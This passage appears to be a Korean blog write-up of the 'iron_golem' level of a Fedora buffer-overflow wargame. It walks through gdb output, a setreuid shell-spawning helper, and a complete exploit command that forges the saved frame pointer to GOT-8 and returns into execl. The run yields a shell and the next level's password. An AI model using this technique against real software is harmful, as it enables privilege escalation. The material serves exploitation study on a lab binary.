  [16] .ctors            PROGBITS        08049538 000538 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049540 000540 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049548 000548 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         0804954c 00054c 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        08049614 000614 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049618 000618 00001c 04  WA  0   0  4

  [22] .data             PROGBITS        08049634 000634 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049640 000640 000004 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000640 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 000766 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ca0 000480 10     27  44  4

  [27] .strtab           STRTAB          00000000 001120 00025e 00      0   0  1


got 주소는 0x08049618이다.

[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) x/8wx 0x08049618
0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x007194f8      0x0070e9e00x00730d50
0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e0x00000000
(gdb) x/wx 0x0804954c
0x804954c <_DYNAMIC>:   0x00000001


got의 시작주소가 0x00000001를 가리키고 있다.


값이 간단하기 때문에 이 값을 쉘코드 파일의 이름으로 한다.

그리고 sfp에는 0x08049618 가 아니라 이 값에서 -8을 한 0x08049610 값을 넣는다. 

그 이유는 execl함수가 실행되고 ebp+8에 있는 값이 첫번째 인자로 넘어가기 때문이다.



[gate@Fedora_1stFloor ~]$ vi sh.c

[gate@Fedora_1stFloor ~]$ cat sh.c

#include <stdio.h>

#include <stdlib.h>


int main(void)

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        system("/bin/sh");

}



권한 상승후 쉘을 띄우는 코드를 짠다.

그 후 \x01이름으로 컴파일 한다.


[gate@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x01"'` sh.c



이제 execl함수의 주소를 구해보자


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
(gdb) x/8i 0x7a5720
0x7a5720 <execl>:       push   ebp
0x7a5721 <execl+1>:     mov    ebp,esp
0x7a5723 <execl+3>:     lea    ecx,[ebp+16]
0x7a5726 <execl+6>:     push   edi
0x7a5727 <execl+7>:     push   esi
0x7a5728 <execl+8>:     push   ebx
0x7a5729 <execl+9>:     sub    esp,0x1038
0x7a572f <execl+15>:    mov    eax,DWORD PTR [ebp+12]



execl의 주소인 0x7a5720이 ret에 들어간다. 

그러나 매개변수를 넘겨주기 위해 ebp를 변조했기 때문에 ebp의 값을 바꾸는 '함수의 프롤로그' 과정을 생략한 0x7a5723이 들어가야 한다.


이제 정확한 페이로드를 구성해 보자


dummy[264] + 0x08049610 (got) + 0x7a5723 (execl)

 


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

sh-3.00$ my-pass

euid = 501

blood on the fedora

sh-3.00$



클리어!


반응형
반응형




압축을 풀고 .vmx 확장자 파일을 실행하면 됩니다.


반응형

+ Recent posts